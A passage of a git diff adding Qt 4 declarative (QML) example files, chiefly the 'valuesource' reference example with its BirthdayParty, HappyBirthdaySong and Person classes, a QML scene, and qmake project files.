+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "birthdayparty.h"
+
+BirthdayPartyAttached::BirthdayPartyAttached(QObject *object)
+: QObject(object)
+{
+}
+
+QDate BirthdayPartyAttached::rsvp() const
+{
+ return m_rsvp;
+}
+
+void BirthdayPartyAttached::setRsvp(const QDate &d)
+{
+ m_rsvp = d;
+}
+
+
+BirthdayParty::BirthdayParty(QObject *parent)
+: QObject(parent), m_host(0)
+{
+}
+
+Person *BirthdayParty::host() const
+{
+ return m_host;
+}
+
+void BirthdayParty::setHost(Person *c)
+{
+ m_host = c;
+}
+
+QDeclarativeListProperty<Person> BirthdayParty::guests()
+{
+ return QDeclarativeListProperty<Person>(this, m_guests);
+}
+
+int BirthdayParty::guestCount() const
+{
+ return m_guests.count();
+}
+
+Person *BirthdayParty::guest(int index) const
+{
+ return m_guests.at(index);
+}
+
+void BirthdayParty::startParty()
+{
+ QTime time = QTime::currentTime();
+ emit partyStarted(time);
+}
+
+QString BirthdayParty::announcement() const
+{
+ return QString();
+}
+
+void BirthdayParty::setAnnouncement(const QString &speak)
+{
+ qWarning() << qPrintable(speak);
+}
+
+BirthdayPartyAttached *BirthdayParty::qmlAttachedProperties(QObject *object)
+{
+ return new BirthdayPartyAttached(object);
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.h b/examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.h
new file mode 100644
index 00000000..918491f3
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.h
@@ -0,0 +1,97 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef BIRTHDAYPARTY_H
+#define BIRTHDAYPARTY_H
+
+#include <QObject>
+#include <QDate>
+#include <QDebug>
+#include <qdeclarative.h>
+#include "person.h"
+
+class BirthdayPartyAttached : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QDate rsvp READ rsvp WRITE setRsvp)
+public:
+ BirthdayPartyAttached(QObject *object);
+
+ QDate rsvp() const;
+ void setRsvp(const QDate &);
+
+private:
+ QDate m_rsvp;
+};
+
+class BirthdayParty : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(Person *host READ host WRITE setHost)
+ Q_PROPERTY(QDeclarativeListProperty<Person> guests READ guests)
+// ![0]
+ Q_PROPERTY(QString announcement READ announcement WRITE setAnnouncement)
+// ![0]
+ Q_CLASSINFO("DefaultProperty", "guests")
+public:
+ BirthdayParty(QObject *parent = 0);
+
+ Person *host() const;
+ void setHost(Person *);
+
+ QDeclarativeListProperty<Person> guests();
+ int guestCount() const;
+ Person *guest(int) const;
+
+ QString announcement() const;
+ void setAnnouncement(const QString &);
+
+ static BirthdayPartyAttached *qmlAttachedProperties(QObject *);
+
+ void startParty();
+signals:
+ void partyStarted(const QTime &time);
+
+private:
+ Person *m_host;
+ QList<Person *> m_guests;
+};
+QML_DECLARE_TYPEINFO(BirthdayParty, QML_HAS_ATTACHED_PROPERTIES)
+
+#endif // BIRTHDAYPARTY_H
diff --git a/examples/declarative/cppextensions/referenceexamples/valuesource/example.qml b/examples/declarative/cppextensions/referenceexamples/valuesource/example.qml
new file mode 100644
index 00000000..d78f869d
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/valuesource/example.qml
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import People 1.0
+
+// ![0]
+BirthdayParty {
+ HappyBirthdaySong on announcement { name: "Bob Jones" }
+// ![0]
+
+ onPartyStarted: console.log("This party started rockin' at " + time);
+
+
+ host: Boy {
+ name: "Bob Jones"
+ shoe { size: 12; color: "white"; brand: "Nike"; price: 90.0 }
+ }
+
+ Boy {
+ name: "Leo Hodges"
+ BirthdayParty.rsvp: "2009-07-06"
+ shoe { size: 10; color: "black"; brand: "Reebok"; price: 59.95 }
+ }
+ Boy {
+ name: "Jack Smith"
+ shoe { size: 8; color: "blue"; brand: "Puma"; price: 19.95 }
+ }
+ Girl {
+ name: "Anne Brown"
+ BirthdayParty.rsvp: "2009-07-01"
+ shoe.size: 7
+ shoe.color: "red"
+ shoe.brand: "Marc Jacobs"
+ shoe.price: 699.99
+ }
+
+// ![1]
+}
+// ![1]
diff --git a/examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.cpp b/examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.cpp
new file mode 100644
index 00000000..51cad0ff
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.cpp
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "happybirthdaysong.h"
+#include <QTimer>
+
+HappyBirthdaySong::HappyBirthdaySong(QObject *parent)
+: QObject(parent), m_line(-1)
+{
+ setName(QString());
+ QTimer *timer = new QTimer(this);
+ QObject::connect(timer, SIGNAL(timeout()), this, SLOT(advance()));
+ timer->start(1000);
+}
+
+void HappyBirthdaySong::setTarget(const QDeclarativeProperty &p)
+{
+ m_target = p;
+}
+
+QString HappyBirthdaySong::name() const
+{
+ return m_name;
+}
+
+void HappyBirthdaySong::setName(const QString &name)
+{
+ m_name = name;
+
+ m_lyrics.clear();
+ m_lyrics << "Happy birthday to you,";
+ m_lyrics << "Happy birthday to you,";
+ m_lyrics << "Happy birthday dear " + m_name + ",";
+ m_lyrics << "Happy birthday to you!";
+ m_lyrics << "";
+}
+
+void HappyBirthdaySong::advance()
+{
+ m_line = (m_line + 1) % m_lyrics.count();
+
+ m_target.write(m_lyrics.at(m_line));
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h b/examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h
new file mode 100644
index 00000000..1138dfdd
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef HAPPYBIRTHDAYSONG_H
+#define HAPPYBIRTHDAYSONG_H
+
+#include <QDeclarativePropertyValueSource>
+#include <QDeclarativeProperty>
+#include <qdeclarative.h>
+
+#include <QStringList>
+
+// ![0]
+class HappyBirthdaySong : public QObject, public QDeclarativePropertyValueSource
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativePropertyValueSource)
+// ![0]
+ Q_PROPERTY(QString name READ name WRITE setName)
+// ![1]
+public:
+ HappyBirthdaySong(QObject *parent = 0);
+
+ virtual void setTarget(const QDeclarativeProperty &);
+// ![1]
+
+ QString name() const;
+ void setName(const QString &);
+
+private slots:
+ void advance();
+
+private:
+ int m_line;
+ QStringList m_lyrics;
+ QDeclarativeProperty m_target;
+ QString m_name;
+// ![2]
+};
+// ![2]
+
+#endif // HAPPYBIRTHDAYSONG_H
+
diff --git a/examples/declarative/cppextensions/referenceexamples/valuesource/main.cpp b/examples/declarative/cppextensions/referenceexamples/valuesource/main.cpp
new file mode 100644
index 00000000..fa8599d6
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/valuesource/main.cpp
@@ -0,0 +1,93 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QCoreApplication>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include "birthdayparty.h"
+#include "happybirthdaysong.h"
+#include "person.h"
+
+int main(int argc, char ** argv)
+{
+ QCoreApplication app(argc, argv);
+
+ qmlRegisterType<BirthdayPartyAttached>();
+ qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+ qmlRegisterType<HappyBirthdaySong>("People", 1,0, "HappyBirthdaySong");
+ qmlRegisterType<ShoeDescription>();
+ qmlRegisterType<Person>();
+ qmlRegisterType<Boy>("People", 1,0, "Boy");
+ qmlRegisterType<Girl>("People", 1,0, "Girl");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("qrc:example.qml"));
+ BirthdayParty *party = qobject_cast<BirthdayParty *>(component.create());
+
+ if (party && party->host()) {
+ qWarning() << party->host()->name() << "is having a birthday!";
+
+ if (qobject_cast<Boy *>(party->host()))
+ qWarning() << "He is inviting:";
+ else
+ qWarning() << "She is inviting:";
+
+ for (int ii = 0; ii < party->guestCount(); ++ii) {
+ Person *guest = party->guest(ii);
+
+ QDate rsvpDate;
+ QObject *attached =
+ qmlAttachedPropertiesObject<BirthdayParty>(guest, false);
+ if (attached)
+ rsvpDate = attached->property("rsvp").toDate();
+
+ if (rsvpDate.isNull())
+ qWarning() << " " << guest->name() << "RSVP date: Hasn't RSVP'd";
+ else
+ qWarning() << " " << guest->name() << "RSVP date:" << qPrintable(rsvpDate.toString());
+ }
+
+ party->startParty();
+ } else {
+ qWarning() << component.errors();
+ }
+
+ return app.exec();
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/valuesource/person.cpp b/examples/declarative/cppextensions/referenceexamples/valuesource/person.cpp
new file mode 100644
index 00000000..b9dafbd9
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/valuesource/person.cpp
@@ -0,0 +1,118 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "person.h"
+
+ShoeDescription::ShoeDescription(QObject *parent)
+: QObject(parent), m_size(0), m_price(0)
+{
+}
+
+int ShoeDescription::size() const
+{
+ return m_size;
+}
+
+void ShoeDescription::setSize(int s)
+{
+ m_size = s;
+}
+
+QColor ShoeDescription::color() const
+{
+ return m_color;
+}
+
+void ShoeDescription::setColor(const QColor &c)
+{
+ m_color = c;
+}
+
+QString ShoeDescription::brand() const
+{
+ return m_brand;
+}
+
+void ShoeDescription::setBrand(const QString &b)
+{
+ m_brand = b;
+}
+
+qreal ShoeDescription::price() const
+{
+ return m_price;
+}
+
+void ShoeDescription::setPrice(qreal p)
+{
+ m_price = p;
+}
+
+Person::Person(QObject *parent)
+: QObject(parent)
+{
+}
+
+QString Person::name() const
+{
+ return m_name;
+}
+
+void Person::setName(const QString &n)
+{
+ m_name = n;
+}
+
+ShoeDescription *Person::shoe()
+{
+ return &m_shoe;
+}
+
+
+Boy::Boy(QObject * parent)
+: Person(parent)
+{
+}
+
+
+Girl::Girl(QObject * parent)
+: Person(parent)
+{
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/valuesource/person.h b/examples/declarative/cppextensions/referenceexamples/valuesource/person.h
new file mode 100644
index 00000000..de722153
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/valuesource/person.h
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PERSON_H
+#define PERSON_H
+
+#include <QObject>
+#include <QColor>
+
+class ShoeDescription : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int size READ size WRITE setSize)
+ Q_PROPERTY(QColor color READ color WRITE setColor)
+ Q_PROPERTY(QString brand READ brand WRITE setBrand)
+ Q_PROPERTY(qreal price READ price WRITE setPrice)
+public:
+ ShoeDescription(QObject *parent = 0);
+
+ int size() const;
+ void setSize(int);
+
+ QColor color() const;
+ void setColor(const QColor &);
+
+ QString brand() const;
+ void setBrand(const QString &);
+
+ qreal price() const;
+ void setPrice(qreal);
+private:
+ int m_size;
+ QColor m_color;
+ QString m_brand;
+ qreal m_price;
+};
+
+class Person : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+ Q_PROPERTY(ShoeDescription *shoe READ shoe)
+public:
+ Person(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &);
+
+ ShoeDescription *shoe();
+private:
+ QString m_name;
+ ShoeDescription m_shoe;
+};
+
+class Boy : public Person
+{
+ Q_OBJECT
+public:
+ Boy(QObject * parent = 0);
+};
+
+class Girl : public Person
+{
+ Q_OBJECT
+public:
+ Girl(QObject * parent = 0);
+};
+
+#endif // PERSON_H
diff --git a/examples/declarative/cppextensions/referenceexamples/valuesource/valuesource.pro b/examples/declarative/cppextensions/referenceexamples/valuesource/valuesource.pro
new file mode 100644
index 00000000..e95914b7
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/valuesource/valuesource.pro
@@ -0,0 +1,19 @@
+TEMPLATE = app
+TARGET = valuesource
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+# Input
+SOURCES += main.cpp \
+ person.cpp \
+ birthdayparty.cpp \
+ happybirthdaysong.cpp
+HEADERS += person.h \
+ birthdayparty.h \
+ happybirthdaysong.h
+RESOURCES += valuesource.qrc
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/valuesource
+sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS valuesource.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/valuesource
+INSTALLS += target sources
diff --git a/examples/declarative/cppextensions/referenceexamples/valuesource/valuesource.qrc b/examples/declarative/cppextensions/referenceexamples/valuesource/valuesource.qrc
new file mode 100644
index 00000000..e2fa01d5
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/valuesource/valuesource.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>example.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/declarative.pro b/examples/declarative/declarative.pro
new file mode 100644
index 00000000..684dd2a1
--- /dev/null
+++ b/examples/declarative/declarative.pro
@@ -0,0 +1,32 @@
+TEMPLATE = subdirs
+
+# These examples contain some C++ and need to be built
+SUBDIRS = \
+ animation \
+ cppextensions \
+ modelviews \
+ i18n \
+ imageelements \
+ keyinteraction/focus \
+ positioners \
+ sqllocalstorage \
+ text \
+ threading \
+ tutorials \
+ touchinteraction \
+ toys \
+ ui-components
+
+# OpenGL shader examples requires opengl and they contain some C++ and need to be built
+contains(QT_CONFIG, opengl): SUBDIRS += shadereffects
+
+# plugins uses a 'Time' class that conflicts with symbian e32std.h also defining a class of the same name
+symbian:SUBDIRS -= plugins
+
+# These examples contain no C++ and can simply be copied
+sources.files = \
+ cppextensions \
+ xml
+
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative
+INSTALLS += sources
diff --git a/examples/declarative/i18n/i18n.png b/examples/declarative/i18n/i18n.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/i18n/i18n.png
Binary files differ
diff --git a/examples/declarative/i18n/i18n.pro b/examples/declarative/i18n/i18n.pro
new file mode 100644
index 00000000..5aed2145
--- /dev/null
+++ b/examples/declarative/i18n/i18n.pro
@@ -0,0 +1,42 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/i18n
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE069582C
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/i18n
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
